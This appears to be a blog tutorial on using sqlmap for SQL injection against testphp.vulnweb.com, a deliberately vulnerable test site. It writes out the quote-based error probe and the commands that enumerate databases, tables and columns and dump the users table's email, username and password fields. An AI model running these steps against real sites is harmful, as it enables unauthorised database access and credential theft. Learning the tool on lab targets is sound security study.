Exploiting Website With SQLMAP

Share on facebook
Facebook
Share on twitter
Twitter
Share on linkedin
LinkedIn
Share on whatsapp
WhatsApp

Hey..!! I am back with another tutorial on Hacking Websites.
Today we will learn how to exploit websites using SQLMAP. Using SQLMAP to exploit websites is quite easy, if you know how to use it. Sqlmap is one of the most popular and powerful sql injection automation tools in existence.
Manish Bhardwaj Sqlmap.png
Sqlmap is one of the most popular and powerful sql injection automation tool out there. Given a vulnerable http request url, sqlmap can exploit the remote database and do a lot of hacking like extracting database names, tables, columns, all the data in the tables etc. It can even read and write files on the remote file system under certain conditions. Written in python it is one of the most powerful hacking tools out there. Sqlmap is the metasploit of sql injections.
Sqlmap is included in pen testing linux distros like kali linux, backtrack, backbox etc. On other distros it can be simply downloaded from the following url:

http://sqlmap.org/.

It is written in python,first make sure python is installed in your Linux distros.
Well we are going to exploit vulnerable website with the help of this tool.
To understand this tutorial you should have thorough knowledge of how database driven web applications work. For example those made with php+mysql.
Before starting we have to find a vulnerable link,In our case:

http://testphp.vulnweb.com/listproducts.php?cat=1

We will add ( ‘ ) in the end to check for exception Handling,If Error occured it means this id is vulnerable.

http://testphp.vulnweb.com/listproducts.php?cat=1'

Let’s Hack:)
Vulnerable Link:

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1

The above is the first and most simple command to run with the sqlmap tool. It checks the input parameters to find if they are vulnerable to sql injection or not. For this sqlmap sends different kinds of sql injection payloads to the input parameter and checks the output. In the process sqlmap is also able to identify the remote system os, database name and version.
Discovering Database:

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

–dbs switch is used to discover the databse.
Find tables in a particular database:

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables

-D switch is used to select the target Database.
–tables is used to discover the tables in the database.
Get columns of a table:

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --columns

-T is used to select the target Table.
–columns is used to find the columns of the target table.
Get data from a table:

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -C email,uname,pass --dump

-C is used the select the column
–dump is used to show the database in plain text.

NOTE:THIS TUTORIAL IS FOR EDUCATIONAL PURPOSE ONLY.

Happy Learning:)
Click here to see video tutorial of Website Hacking.

Share on facebook
Facebook
Share on twitter
Twitter
Share on linkedin
LinkedIn
Share on whatsapp
WhatsApp

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top